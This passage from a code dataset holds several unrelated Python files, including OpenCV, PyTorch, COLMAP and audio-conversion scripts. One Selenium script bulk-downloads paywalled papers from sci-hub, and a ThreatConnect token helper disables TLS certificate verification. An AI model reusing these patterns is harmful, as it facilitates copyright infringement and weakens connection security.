Encuesta_pregunta().getAll(idencuesta)\n Encuesta_pregunta().eliminarFilas(idencuesta)\n for encuestapregunta in listaEncuestaPregunta:\n idpregunta = encuestapregunta.id_pregunta\n Pregunta().eliminarPregunta(idpregunta)\n\n Horario_encuesta().eliminarHorarioEncuesta(idencuesta)\n flag = Encuesta().eliminarEncuesta(idencuesta)\n \n\n return flag\n\ndef existeCoevaluacion(idActividad):\n listaEncuesta = Horario_encuesta().getAll(idActividad)\n if listaEncuesta is None:\n return {'message':'False'}\n else:\n for horario_encuesta in listaEncuesta:\n id = horario_encuesta.id_encuesta\n encuesta = Encuesta().getOne(id)\n if encuesta.tipo == 'COEVALUACION':\n return {'message':'True'}\n\n return {'message':'False'} ","sub_path":"backend/app/controller/CTR_Co_evaluacion.py","file_name":"CTR_Co_evaluacion.py","file_ext":"py","file_size_in_byte":4872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"136510625","text":"import cv2\nimport numpy as np\ncap =cv2.VideoCapture(0)\nback=0\ndef nothing(x):\n pass\n\ncv2.namedWindow('image')\ncv2.createTrackbar('lowh','image',0,179,nothing)\ncv2.createTrackbar('highh','image',179,179,nothing)\ncv2.createTrackbar('lows','image',0,255,nothing)\ncv2.createTrackbar('highs','image',255,255,nothing)\ncv2.createTrackbar('lowv','image',0,255,nothing)\ncv2.createTrackbar('highv','image',255,255,nothing)\nfor i in range(20):\n ret,back =cap.read()\ncv2.imshow(\"BACK\",back)\nwhile(1):\n ret,frame =cap.read()\n hsv =cv2.cvtColor(frame,cv2.COLOR_BGR2HSV)\n lowh=cv2.getTrackbarPos('lowh','image')\n highh=cv2.getTrackbarPos('highh','image')\n lows=cv2.getTrackbarPos('lows','image')\n highs=cv2.getTrackbarPos('highs','image')\n lowv=cv2.getTrackbarPos('lowv','image')\n highv=cv2.getTrackbarPos('highv','image')\n lower_limit=np.array([lowh,lows,lowv])\n upper_limit=np.array([highh,highs,highv])\n\n\n lower_limit=np.array([71, 109, 80]) #THESE VALUES WILL BE DIFFERENT FOR EVERYONE\n upper_limit=np.array([117, 255, 226])\n\n mask=cv2.inRange(hsv,lower_limit,upper_limit)\n\n\n kernel=np.ones((5,5),np.uint8) #THIS WILL HELP TO IMPROVE THE MASK(MORPHOLOGICAL OPERATIONS)\n kernel2=np.ones((11,11),np.uint8)\n mask=cv2.morphologyEx(mask,cv2.MORPH_OPEN,kernel)\n mask=cv2.morphologyEx(mask,cv2.MORPH_CLOSE,kernel2)\n\n cv2.imshow('mask',mask)\n cv2.imshow('image',hsv)\n mask_inv =cv2.bitwise_not(mask)\n res1=cv2.bitwise_and(frame,frame,mask=mask_inv)\n res2=cv2.bitwise_and(back,back,mask=mask)\n res=res1+res2\n# cv2.imshow(\"res1\",res1)\n# cv2.imshow(\"res2\",res2)\n cv2.imshow(\"invisibilty\",res)\n if cv2.waitKey(10) & 0xFF==27:\n break\ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"invisibiliycloak.py","file_name":"invisibiliycloak.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"482534815","text":"# TODO custom GenerativeDataset without using VisionDataet (probably chose more general version)\n# TODO leave ImageFolder for testing\nimport os\nfrom torchvision.datasets.vision import VisionDataset\nfrom torchvision.datasets.folder import make_dataset, default_loader, IMG_EXTENSIONS\nfrom typing import Any, Callable, cast, Dict, List, Optional, Tuple\n\n\n# borrowed from torchvision.datasets.folder.DatasetFolder\nclass GenerativeDatasetFolder(VisionDataset):\n \"\"\"A generic data loader where the samples are arranged in this way: ::\n\n root/class_x/xxx.ext\n root/class_x/xxy.ext\n root/class_x/xxz.ext\n\n root/class_y/123.ext\n root/class_y/nsdf3.ext\n root/class_y/asd932_.ext\n\n Args:\n root (string): Root directory path.\n loader (callable): A function to load a sample given its path.\n extensions (tuple[string]): A list of allowed extensions.\n both extensions and is_valid_file should not be passed.\n transform (callable, optional): A function/transform that takes in\n a sample and returns a transformed version.\n E.g, ``transforms.RandomCrop`` for images.\n target_transform (callable, optional): A function/transform that takes\n in the target and transforms it.\n is_valid_file (callable, optional): A function that takes path of a file\n and check if the file is a valid file (used to check of corrupt files)\n both extensions and is_valid_file should not be passed.\n\n Attributes:\n classes (list): List of the class names sorted alphabetically.\n class_to_idx (dict): Dict with items (class_name, class_index).\n samples (list): List of (sample path, class_index) tuples\n targets (list): The class_index value for each image in the dataset\n \"\"\"\n\n def __init__(\n self,\n root: str,\n loader: Callable[[str], Any],\n extensions: Optional[Tuple[str, ...]] = None,\n input_transform: Optional[Callable] = None,\n reconstruction_transform: Optional[Callable] = None,\n target_transform: Optional[Callable] = None,\n is_valid_file: Optional[Callable[[str], bool]] = None,\n ) -> None:\n super(GenerativeDatasetFolder, self).__init__(\n root, transform=input_transform,\n target_transform=target_transform\n )\n classes, class_to_idx = self._find_classes(self.root)\n samples = make_dataset(self.root, class_to_idx, extensions, is_valid_file)\n if len(samples) == 0:\n msg = \"Found 0 files in subfolders of: {}\\n\".format(self.root)\n if extensions is not None:\n msg += \"Supported extensions are: {}\".format(\",\".join(extensions))\n raise RuntimeError(msg)\n\n self.r_transform = reconstruction_transform\n\n self.loader = loader\n self.extensions = extensions\n\n self.classes = classes\n self.class_to_idx = class_to_idx\n self.samples = samples\n self.targets = [s[1] for s in samples]\n\n def _find_classes(self, dir: str) -> Tuple[List[str], Dict[str, int]]:\n \"\"\"\n Finds the class folders in a dataset.\n\n Args:\n dir (string): Root directory path.\n\n Returns:\n tuple: (classes, class_to_idx) where classes are relative to (dir), and class_to_idx is a dictionary.\n\n Ensures:\n No class is a subdirectory of another.\n \"\"\"\n classes = [d.name for d in os.scandir(dir) if d.is_dir()]\n classes.sort()\n class_to_idx = {cls_name: i for i, cls_name in enumerate(classes)}\n return classes, class_to_idx\n\n def __getitem__(self, index: int) -> Tuple[Any, Any]:\n \"\"\"\n Args:\n index (int): Index\n\n Returns:\n tuple: (sample, target) where target is class_index of the target class.\n \"\"\"\n path, target = self.samples[index]\n sample = self.loader(path)\n r_sample = sample.copy()\n if self.transform is not None:\n sample = self.transform(sample)\n if self.r_transform is not None:\n r_sample = self.r_transform(r_sample)\n #if self.target_transform is not None:\n # target = self.target_transform(target)\n\n return sample, r_sample #, target\n\n def __len__(self) -> int:\n return len(self.samples)\n\n\n# borrowed from torchvision.datasets.ImageFolder\nclass GenerativeImageFolder(GenerativeDatasetFolder):\n \"\"\"A generic data loader where the images are arranged in this way: ::\n\n root/dog/xxx.png\n root/dog/xxy.png\n root/dog/xxz.png\n\n root/cat/123.png\n root/cat/nsdf3.png\n root/cat/asd932_.png\n\n Args:\n root (string): Root directory path.\n transform (callable, optional): A function/transform that takes in an PIL image\n and returns a transformed version. E.g, ``transforms.RandomCrop``\n target_transform (callable, optional): A function/transform that takes in the\n target and transforms it.\n loader (callable, optional): A function to load an image given its path.\n is_valid_file (callable, optional): A function that takes path of an Image file\n and check if the file is a valid file (used to check of corrupt files)\n\n Attributes:\n classes (list): List of the class names sorted alphabetically.\n class_to_idx (dict): Dict with items (class_name, class_index).\n imgs (list): List of (image path, class_index) tuples\n \"\"\"\n\n def __init__(\n self,\n root: str,\n input_transform: Optional[Callable] = None,\n reconstruction_transform: Optional[Callable] = None,\n loader: Callable[[str], Any] = default_loader,\n is_valid_file: Optional[Callable[[str], bool]] = None,\n ):\n super(GenerativeImageFolder, self).__init__(\n root, loader, IMG_EXTENSIONS if is_valid_file is None else None,\n input_transform=input_transform, reconstruction_transform=reconstruction_transform,\n target_transform=None, is_valid_file=is_valid_file)\n self.imgs = self.samples\n\n\n","sub_path":"data/datasets/custom.py","file_name":"custom.py","file_ext":"py","file_size_in_byte":6569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"436948299","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 11 13:10:12 2016\n\n@author: haell\n\"\"\"\n\nimport numpy as np\nimport pylab as pl\nfrom scipy.integrate import odeint\n\nfrom math import exp\n\ny0 = 1\na = 0\nb = 3\nn = 100\n\ndef f(y, t):\n return t**3 - y**3\n\nt = np.linspace(a, b, n)\nY = []\ni = 0\nfor k in np.linspace(-2, 2, 20):\n Y.append(odeint(f, k, t))\n pl.plot(t, Y[len(Y)-1], linestyle='-')\n i += 1\n \n#pl.plot(t, Yt)","sub_path":"TP/TP9-Exo2.py","file_name":"TP9-Exo2.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"304661285","text":"import random\nimport re\nimport sys\nimport os\n\ntemplates = []\ntemplates_filename = 'templates.txt'\n\n# Below is all the data needed to parse the different word types\n# {type}s - The object that will hold all data parsed from the given files\n# {type}s_dir - The directory where all the files of a given word type are stored\n# {type}_files - A list of files which should be parsed for the word type. With this you can create your own word files\n# and control exactly what dataset you want to include during generation. Files should have a single entry on each line\n\nactors = []\nactors_dir = \"actors\\\\\"\nactor_files = [\n 'celebrities.txt',\n 'marvel_main.txt',\n 'simpsons.txt',\n 'spongebob.txt',\n 'starwars_main.txt'\n]\n\nadjectives = []\nadjectives_dir = \"adjectives\"\nadjective_files = [\n 'adjectives.txt'\n]\n\nnouns = []\nnouns_dir = \"nouns\"\nnoun_files = [\n 'nouns.txt'\n]\n\nmaterials = []\nmaterial_dir = \"materials\"\nmaterial_files = [\n 'materials.txt'\n]\n\nmediums = []\nmedium_dir = \"mediums\"\nmedium_files = [\n 'mediums.txt'\n]\n\nobjects = []\nobjects_dir = \"objects\"\nobject_files = [\n 'objects.txt'\n]\n\nplaces = []\nplaces_dir = \"places\"\nplace_files = [\n 'places.txt'\n]\n\nstyles = []\nstyles_dir = \"styles\"\nstyle_files = [\n 'styles.txt'\n]\n\ntimes = []\ntimes_dir = \"times\"\ntime_files = [\n 'times.txt'\n]\n\nverbs = []\nverbs_dir = \"verbs\"\nverb_files = [\n 'verbs.txt'\n]\n \ndef InitGenerator():\n ReadTemplates(templates_filename)\n \n # TODO: Create word list struct list and loop over that instead of doing all these in-line calls\n ReadWordList(actors_dir, actor_files, actors)\n ReadWordList(adjectives_dir, adjective_files, adjectives)\n ReadWordList(nouns_dir, noun_files, nouns)\n ReadWordList(medium_dir, medium_files, mediums)\n ReadWordList(objects_dir, object_files, objects)\n ReadWordList(places_dir, place_files, places)\n ReadWordList(styles_dir, style_files, styles)\n ReadWordList(times_dir, time_files, times)\n ReadWordList(verbs_dir, verb_files, verbs)\n\ndef GeneratePrompt():\n prompt = ParseSentence(random.choice(templates))\n return prompt\n\n# Parse a given sentence, replacing any prompt tokens with valid data\ndef ParseSentence(sentence):\n output = ''\n \n for word in sentence.split(' '):\n if not output == '':\n output += ' '\n \n # Replace word type tokens with valid data\n if word == 'ACTOR':\n output += random.choice(actors)\n elif word == 'ADJECTIVE':\n output += random.choice(adjectives)\n elif word == 'NOUN':\n output += random.choice(nouns)\n elif word == 'MEDIUM':\n output += random.choice(mediums)\n elif word == 'MATERIAL':\n output += random.choice(materials)\n elif word == 'OBJECT':\n output += random.choice(objects)\n elif word == 'PLACE':\n output += random.choice(places)\n elif word == 'STYLE':\n output += random.choice(styles)\n elif word == 'TIME':\n output += random.choice(times)\n elif word == 'VERB':\n output += random.choice(verbs)\n else:\n output += word\n\n return output\n\n# Parse all world lists for a given word type\ndef ReadWordList(file_dir, filenames, list):\n for filename in filenames:\n with open(GetLocalPath(os.path.join(file_dir, filename)), 'r') as f:\n for line in f:\n word = line.strip()\n list.append(word)\n \n# Parse all random templates\ndef ReadTemplates(filename):\n with open(GetLocalPath(filename), 'r') as f:\n for line in f:\n line = line.strip()\n templates.append(line)\n \ndef GetLocalPath(filename):\n return os.path.join(os.path.dirname(__file__), filename)\n \nif __name__ == '__main__':\n InitGenerator()\n GeneratePrompt()\n \n \n \n \n \n","sub_path":"prompt_generation/prompt_generator.py","file_name":"prompt_generator.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"149001349","text":"\n\nimport os\nimport cv2\nimport pylab as pl\nimport numpy as np\nimport quaternion\nfrom read_model import read_model\n\n\n\n\nxcode_app_path = \"/Users/qiu/Library/Developer/Xcode/DerivedData/goodnight-beugcbipowjskbcjadawscqjrkwe/Build/Products/Debug/\"\npath_to_model_bin_folder = xcode_app_path + \"colmapWS/sparse/0\"\n\ncameras_bin, images_bin, points3D_bin = read_model(path_to_model_bin_folder, ext=\".bin\")\n# print(points3D_bin[36147])\n# xys POINTS2D[] as (X, Y)\n# print(len(images_bin[146][5]))\n# POINT3D_IDs POINTS2D[] as (POINT3D_ID)\n# print(images_bin[146][6])\n\n\npts_src = []\npts_dst = []\n\nd_qa_w, d_qa_x, d_qa_y, d_qa_z = images_bin[10][1]\nd_p_x, d_p_y, d_p_z = images_bin[10][2]\n\nprint(d_p_x,d_p_y,d_p_z)\ntempqn = np.quaternion(d_qa_w, d_qa_x, d_qa_y, d_qa_z)\nprint(tempqn)\neularn = quaternion.as_euler_angles(tempqn)\nprint(eularn)\nn_thetai = np.array([eularn[0], eularn[1], eularn[2]])\nprint(n_thetai)\nrotation = quaternion.as_rotation_matrix(tempqn)\nprint(rotation)\nprint(rotation[0][0])\ntranslate = [d_p_x, d_p_y, d_p_z]\nprint(translate)\n\nRt = np.c_[rotation, np.transpose(translate)]\nprint(Rt)\nRt = np.matrix(Rt)\n\nprint(cameras_bin[1])\nK = np.matrix([[cameras_bin[images_bin[10][3]][4][0],0,cameras_bin[images_bin[10][3]][4][1]],[0,cameras_bin[images_bin[10][3]][4][0],cameras_bin[images_bin[10][3]][4][2]],[0,0,1]])\nprint(K)\n\n# nigth\nn_qa_w, n_qa_x, n_qa_y, n_qa_z = images_bin[147][1]\nn_p_x, n_p_y, n_p_z = images_bin[147][2]\nprint(images_bin[10][4])\nprint(images_bin[147][4])\ntempqn1 = np.quaternion(n_qa_w, n_qa_x, n_qa_y, n_qa_z )\n\neularn1 = quaternion.as_euler_angles(tempqn1)\n\nn_thetai1 = np.array([eularn1[0], eularn1[1], eularn1[2]])\n\nrotation1 = quaternion.as_rotation_matrix(tempqn1)\n\ntranslate1 = [n_p_x, n_p_y, n_p_z]\n\n\nRt1 = np.c_[rotation1, np.transpose(translate1)]\n\nRt1 = np.matrix(Rt1)\n\n\nK1 = np.matrix([[cameras_bin[images_bin[147][3]][4][0],0,cameras_bin[images_bin[147][3]][4][1]],[0,cameras_bin[images_bin[147][3]][4][0],cameras_bin[images_bin[147][3]][4][2]],[0,0,1]])\n\n# print(hpts_dst.dtype)\n#\n\n\n\nfor a in images_bin[10][6]:\n # print(a)\n\n if (a != -1):\n # print(a)\n\n x, y, z =points3D_bin[a][1]\n home3dp = [x, y, z, 1]\n home3dp = np.array(home3dp)\n home3dp = home3dp.reshape(1,4)\n # print(home3dp.shape)\n\n # print(np.transpose(home3dp).shape)\n home2dp = K * Rt * np.transpose(home3dp)\n home2dp1 = K1 * Rt1 * np.transpose(home3dp)\n # print(home2dp.dtype)\n # xy = [(home2dp[0]/home2dp[2]).astype(float), (home2dp[1]/home2dp[2]).astype(float)]\n x1 = np.array(home2dp[0][0]/home2dp[2][0])\n y1 = np.array(home2dp[1][0]/home2dp[2][0])\n # print(x1[0])\n\n\n frameapoint = np.array([x1[0][0],y1[0][0]])\n pts_src.append(frameapoint)\n\n x2 = np.array(home2dp1[0][0]/home2dp1[2][0])\n y2 = np.array(home2dp1[1][0]/home2dp1[2][0])\n\n framebpoint = np.array([x2[0][0],y2[0][0]])\n pts_dst.append(framebpoint)\n\npts_src = np.array(pts_src)\npts_dst = np.array(pts_dst)\nprint(pts_src)\nprint(len(pts_src))\nprint(pts_dst)\nprint(len(pts_dst))\n # x, y, z = points3D_bin[a][1]\n # homo_pt = [x, y, z, 1]\n #\n # d_qa_w, d_qa_x, d_qa_y, d_qa_z = images_bin[147][1]\n # d_p_x, d_p_y, d_p_z = images_bin[147][2]\n #\n # tempqn = np.quaternion(d_qa_w, d_qa_x, d_qa_y, d_qa_z)\n # eularn = np.quaternion.as_euler_angles(tempqn)\n # n_thetai = np.array([eularn[0], eularn[1], eularn[2]])\n # rotation = np.quaternion.as_rotation_matrix(tempqn)\n # translate = np.array(d_p_x, d_p_y, d_p_z)\n\n\n# # Read source image.\nim_dst = cv2.imread('./SIFTflow/d_0091.jpg')\n# # Four corners of the book in source image\n# pts_src = np.array([[167.0, 264.0], [482.0, 798.0], [1079.0, 403.0], [613.0, 84.0]])\n#\n# # Read destination image.\nim_src = cv2.imread('./SIFTflow/n_0070.jpg')\n# # Four corners of the book in destination image.\n# pts_dst = np.array([[193.0, 742.0], [996.0, 874.0], [1059.0, 157.0], [266.0, 145.0]])\n#\n# # Calculate Homography\n# 从 dst 到 src\nh, status = cv2.findHomography(pts_dst, pts_src)\n#\n# # Warp source image to destination based on homography\nim_out = cv2.warpPerspective(im_src, h, (im_dst.shape[1], im_dst.shape[0]))\n#\npl.figure(), pl.imshow(im_src[:, :, ::-1]), pl.title('src'),\npl.figure(), pl.imshow(im_dst[:, :, ::-1]), pl.title('dst')\npl.figure(), pl.imshow(im_out[:, :, ::-1]), pl.title('out'), pl.show() # show dst\ncv2.imwrite('./SIFTflow/test.jpg',im_out, [int(cv2.IMWRITE_JPEG_QUALITY), 100] )\n","sub_path":"goodnight/col_python/learn_py.py","file_name":"learn_py.py","file_ext":"py","file_size_in_byte":4528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"614742193","text":"from __future__ import print_function # for compatibility with both python 2 and 3\nfrom subprocess import call # for calling mplayer and lame\nimport os # help with file handling\nfrom rx import Observable, Observer\nimport time\n\n\nclass ConvertObserver(Observer):\n def __init__(self):\n self.start = time.time()\n\n def on_next(self, value):\n print(\"-- converting {0}/{2}.mp4 to {1}/{2}.mp3 --\".format(indir, outdir, value))\n call([\"mplayer\", \"-novideo\", \"-nocorrect-pts\", \"-ao\", \"pcm:waveheader\", '{}/{}.mp4'.format(indir, value)])\n call([\"lame\", \"-v\", \"audiodump.wav\", outdir + \"/\" + value + \".mp3\"])\n call(['ffmpeg', '-i', '{}/{}.mp3'.format(outdir, value),\n '-ac', '1', '{}/{}.flac'.format(outdir, value)])\n call(['rm', '-rf', '{}/{}.mp3'.format(outdir, value)])\n os.remove(\"audiodump.wav\")\n\n def on_error(self, error):\n return super().on_error(error)\n\n def on_completed(self):\n print('how long? : {}'.format(time.time() - self.start))\n\n\ndef check_file_exists(directory, filename, extension):\n f_path = directory + \"/\" + filename + extension\n return os.path.isfile(f_path)\n\n\nindir = 'video'\noutdir = 'output'\n\nfiles = [] # files for exporting\n\ntry:\n # check specified folders exist\n if not os.path.exists(indir):\n exit(\"Error: Input directory \\'\" + indir + \"\\' does not exist. (try prepending './')\")\n if not os.path.exists(outdir):\n exit(\"Error: Output directory \\'\" + outdir + \"\\' does not exist.\")\n if not os.access(outdir, os.W_OK):\n exit(\"Error: Output directory \\'\" + outdir + \"\\' is not writeable.\")\n\n print(\"[{0}/*.mp4] --> [{1}/*.mp3]\".format(indir, outdir))\n\n # get a list of all convertible files in the input directory\n filelist = [f for f in os.listdir(indir) if f.endswith(\".mp4\")]\n for path in filelist:\n basename = os.path.basename(path)\n filename = os.path.splitext(basename)[0]\n files.append(filename)\n # remove files that have already been outputted from the list\n files[:] = [f for f in files if not check_file_exists(outdir, f, \".mp3\")]\n\nexcept OSError as e:\n exit(e)\n\nif len(files) == 0:\n exit(\"Could not find any files to convert that have not already been converted.\")\n\nObservable.from_(files) \\\n .subscribe(ConvertObserver())\n","sub_path":"mp4_flac_converter.py","file_name":"mp4_flac_converter.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"214795424","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\nimport os\r\nimport busqueda\r\nfrom datetime import datetime, timedelta\r\n\r\nmain_search = busqueda.val_busqueda_input\r\nlibro = ''#busqueda.val_journal_input\r\nautor = busqueda.val_autor_input\r\nmain_search2 = main_search.replace(':','').replace('\\\\','').replace('/','').replace('*','').replace('?','').replace('\"','\\'').replace('<','(').replace('>',')').replace('|','l')\r\n\r\ntry:\r\n os.mkdir(main_search)\r\nexcept FileExistsError:\r\n print(\"creado\")\r\n\r\ndriver = webdriver.Chrome()\r\ndriver.get('https://www.sciencedirect.com/search')\r\ndriver.find_element_by_id('qs-searchbox-input').send_keys(main_search)\r\ndriver.find_element_by_id('authors-searchbox-input').send_keys(autor)\r\ndriver.find_element_by_id('pub-searchbox-input').send_keys(libro)\r\ndriver.find_element_by_id('volume-searchbox-input').send_keys('')\r\ndriver.find_element_by_id('issue-searchbox-input').send_keys('')\r\ndriver.find_element_by_id('page-searchbox-input').send_keys('')\r\n\r\ndriver.find_element_by_id('qs-searchbox-input').send_keys(Keys.RETURN)\r\ntime.sleep(4)\r\n\r\ndriver.find_element_by_css_selector(\"button[class='button modal-close-button button-anchor move-right move-top u-margin-s size-xs']\").click()\r\nli_list = driver.find_elements_by_xpath('//li[@data-doi]')\r\n\r\ndoi_list = []\r\nfor li in li_list:\r\n doi_list.append(li.get_attribute('data-doi'))\r\n\r\na_list = driver.find_elements_by_xpath('//li[@data-doi]//h2/a')\r\nnombres_list = []\r\nfor a in a_list:\r\n nombres_list.append(a.text.replace(':','').replace('\\\\','').replace('/','').replace('*','').replace('?','').replace('\"','\\'').replace('<','(').replace('>',')').replace('|','l'))\r\n\r\ndriver.close()\r\n\r\n\r\nnum=0\r\nnum2=0\r\nflag_descargado = []\r\nfor i, doi in enumerate(doi_list):\r\n r = requests.get('https://sci-hub.tw/'+doi)\r\n html_soup = BeautifulSoup(r.text, 'html.parser')\r\n try:\r\n # if html_body.find()\r\n pdf_link = html_soup.find(id='article').iframe.get('src').split('#view')[0] \r\n if pdf_link[:2] == '//':\r\n pdf_link = 'http:' + pdf_link\r\n with open(main_search+'/'+nombres_list[i]+'.pdf', 'wb') as f:\r\n #print(nose+'/'+nombres_list[i]+'.pdf')\r\n #print(pdf_link)\r\n f.write(requests.get(pdf_link).content)\r\n print('Descargado el paper ',str(i))\r\n flag_descargado.append('downloaded')\r\n num=num+1\r\n except (AttributeError,ConnectionError):\r\n flag_descargado.append('failed')\r\n num2=num2+1\r\n except UnicodeEncodeError:\r\n flag_descargado.append('failed')\r\n num2=num2+1\r\n\r\nhistoric_file = open(\"historico.txt\",\"a\")\r\nhistoric_file.write(main_search2+' LISTA DE PAPERS:'+'\\t'+'STATUS'+'\\t'+'FECHA'+'\\t'+'DOI'+'\\n')\r\nfor i, k in enumerate(nombres_list):\r\n historic_file.write(k+'\\t'+flag_descargado[i]+'\\t'+datetime.now().strftime(\"%Y/%m/%d, %H:%M:%S\")+'\\t'+doi_list[i]+'\\n')\r\n\r\nhistoric_file.write('FIN DE BUSQUEDA '+main_search2+'\\t'+str(num)+' PAPERS DESCARGADOS'+'\\t'+str(num2)+' PAPERS NO DISPONIBLES'+'\\t'+'TEMA: '+main_search+'\\r\\n')\r\nhistoric_file.close()\r\n\r\nvalidation_file = open(\"validador.py\",\"w+\")\r\nvalidation_file.write(\"val_busqueda = '\"+main_search2+'\\'')\r\nvalidation_file.close()\r\n \r\n# si no encuentra el paper en scihub\r\n#si esta siendo usado cerrarlo PermissionError","sub_path":"BOT_VersionF_KM/descargador_papers.py","file_name":"descargador_papers.py","file_ext":"py","file_size_in_byte":3394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"468030818","text":"# -*- coding: utf-8 -*-\n\"\"\"ThreatConnect Token Module.\"\"\"\nimport os\nfrom requests import Session\nfrom tcex.sessions.tc_session import HmacAuth\n\n\nclass TcToken(object):\n \"\"\"ThreatConnect Token App\"\"\"\n\n def __init__(self):\n \"\"\"Initialize class properties.\"\"\"\n\n # properties\n api_access_id = os.getenv('API_ACCESS_ID')\n api_secret_key = os.getenv('API_SECRET_KEY')\n self.tc_api_path = os.getenv('TC_API_PATH')\n self.tc_token_url = os.getenv('TC_TOKEN_URL')\n self.tc_token_svc_id = os.getenv('TC_TOKEN_SVC_ID')\n\n # get a requests session and set hmac auth to use in retrieving tokens.\n self.session = Session()\n self.session.auth = HmacAuth(api_access_id, api_secret_key)\n\n @property\n def api_token(self):\n \"\"\"Get a valid TC api token.\"\"\"\n r = self.session.post('{}{}api'.format(self.tc_api_path, self.tc_token_url), verify=False)\n if r.status_code != 200:\n raise RuntimeError(\n 'This feature requires ThreatConnect 6.0 or higher ({})'.format(r.text)\n )\n return r.json().get('data')\n\n @property\n def service_token(self):\n \"\"\"Get a valid TC service token.\n\n TC_TOKEN_SVC_ID is the ID field from the appcatalogitem table for a service App.\n TC_TOKEN_URL is the API endpoint to get a TOKEN.\n \"\"\"\n data = {'serviceId': os.getenv('TC_TOKEN_SVC_ID')}\n r = self.session.post(\n '{}{}svc'.format(self.tc_api_path, self.tc_token_url), json=data, verify=False\n )\n if r.status_code != 200:\n raise RuntimeError(\n 'This feature requires ThreatConnect 6.0 or higher ({})'.format(r.text)\n )\n return r.json().get('data')\n","sub_path":"tests/tc_token.py","file_name":"tc_token.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"553389120","text":"import sys\nimport json\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport collections\nimport matplotlib.cm as cm\nimport matplotlib.colors as colors\n\ntitles = { 'totalDistance' : 'Comparison of total distance traveled',\n 'pickupTardiness' : 'Comparison of amount of pickup tardiness',\n 'deliveryTardiness' : 'Comparison of amount of delivery tardiness',\n 'simulationTime' : 'Comparison of time needed to complete scenario',\n 'overTime' : 'Comparison of amount of cumulative overtime',\n 'gTardiness' :\n 'Tardiness in minutes according to Gendreau obj. function',\n 'gOverTime' :\n 'Overtime in minutes according to Gendreau obj. function',\n 'gTravelTime' :\n 'Traveltime in minutes according to Gendreau obj.function',\n 'gCost' : 'Computed value of the Gendreau obj. function'}\n\nfor arg in ['Gallconfigurations_correct.json']:\n f = open(arg,'r')\n experimentInput = json.loads(f.read())\n f.close()\n \n experiment = collections.defaultdict(dict)\n for resource, configurations in experimentInput.iteritems():\n for configuration, statistics in configurations.iteritems():\n experiment[configuration][resource] = statistics\n\n\n opacity = 0.7\n lighten = 0.3\n \n nr_configurations = len(experiment.keys())\n nr_scenarios = 3\n nr_resources = len(experiment.itervalues().next().keys()) / nr_scenarios\n\n spectral = cm.ScalarMappable(norm=colors.Normalize(vmin=-1,\n vmax=nr_configurations),\n cmap='spectral')\n\n resource_index = np.arange(nr_scenarios * nr_resources)\n scenario_index = np.arange(nr_scenarios) \n bar_width = 1.0/(nr_configurations + 1)\n\n for var in ['gCost']:\n for conf_i, config in enumerate(sorted(experiment.iterkeys())):\n for res_i in xrange(0, nr_resources*nr_scenarios, 1):\n statistics = []\n for resource in [sorted(\n experiment[config].iterkeys())[res_i]]:\n statistics.append(experiment[config][resource][var])\n\n if res_i == 0:\n label = config\n else:\n label = '_nolegend_'\n\n plt.bar(res_i + conf_i*bar_width,\n statistics,\n bar_width,\n alpha=opacity - res_i%2 * lighten,\n color=spectral.to_rgba(conf_i),\n label=label)\n \n plt.xlabel('Gendreau instance')\n plt.ylabel('Total')\n plt.title(titles[var])\n plt.xticks(resource_index + bar_width * nr_configurations / 2,\n [res[11:] for res in\n sorted(experiment.itervalues().next().keys())],\n rotation = 30, fontsize=7)\n plt.subplots_adjust(top=.95, bottom=.25, left=.1, right=.99)\n plt.legend(loc='upper center', bbox_to_anchor=(0.5, -0.15),\n ncol=4, prop={'size' : 6})\n \n plt.savefig('plots/' + 'latex_Gallconfigurations_Total' + '.pdf')\n plt.clf()\n","sub_path":"fig_allconfigurations.py","file_name":"fig_allconfigurations.py","file_ext":"py","file_size_in_byte":3205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"161957433","text":"#!/usr/bin/env python\n# Copyright 2020 The Chromium Authors\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\"\"\"Transform CBCM Takeout API Data (Python3).\"\"\"\n\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport argparse\nimport csv\nimport json\nimport sys\nimport time\n\nimport google_auth_httplib2\n\nfrom httplib2 import Http\nfrom google.oauth2.service_account import Credentials\nfrom builtins import bytes\nfrom builtins import str\nfrom io import open\n\n\ndef ComputeExtensionsList(extensions_list, data):\n \"\"\"Computes list of machines that have an extension.\n\n This sample function processes the |data| retrieved from the Takeout API and\n calculates the list of machines that have installed each extension listed in\n the data.\n\n Args:\n extensions_list: the extension list dictionary to fill.\n data: the data fetched from the Takeout API.\n \"\"\"\n for device in data['browsers']:\n if 'browsers' not in device:\n continue\n for browser in device['browsers']:\n if 'profiles' not in browser:\n continue\n for profile in browser['profiles']:\n if 'extensions' not in profile:\n continue\n for extension in profile['extensions']:\n key = extension['extensionId']\n if 'version' in extension:\n key = key + ' @ ' + extension['version']\n if key not in extensions_list:\n current_extension = {\n 'name': extension.get('name', ''),\n 'permissions': extension.get('permissions', ''),\n 'installed': set(),\n 'disabled': set(),\n 'forced': set()\n }\n else:\n current_extension = extensions_list[key]\n\n machine_name = device['machineName']\n current_extension['installed'].add(machine_name)\n if extension.get('installType', '') == 'ADMIN':\n current_extension['forced'].add(machine_name)\n if 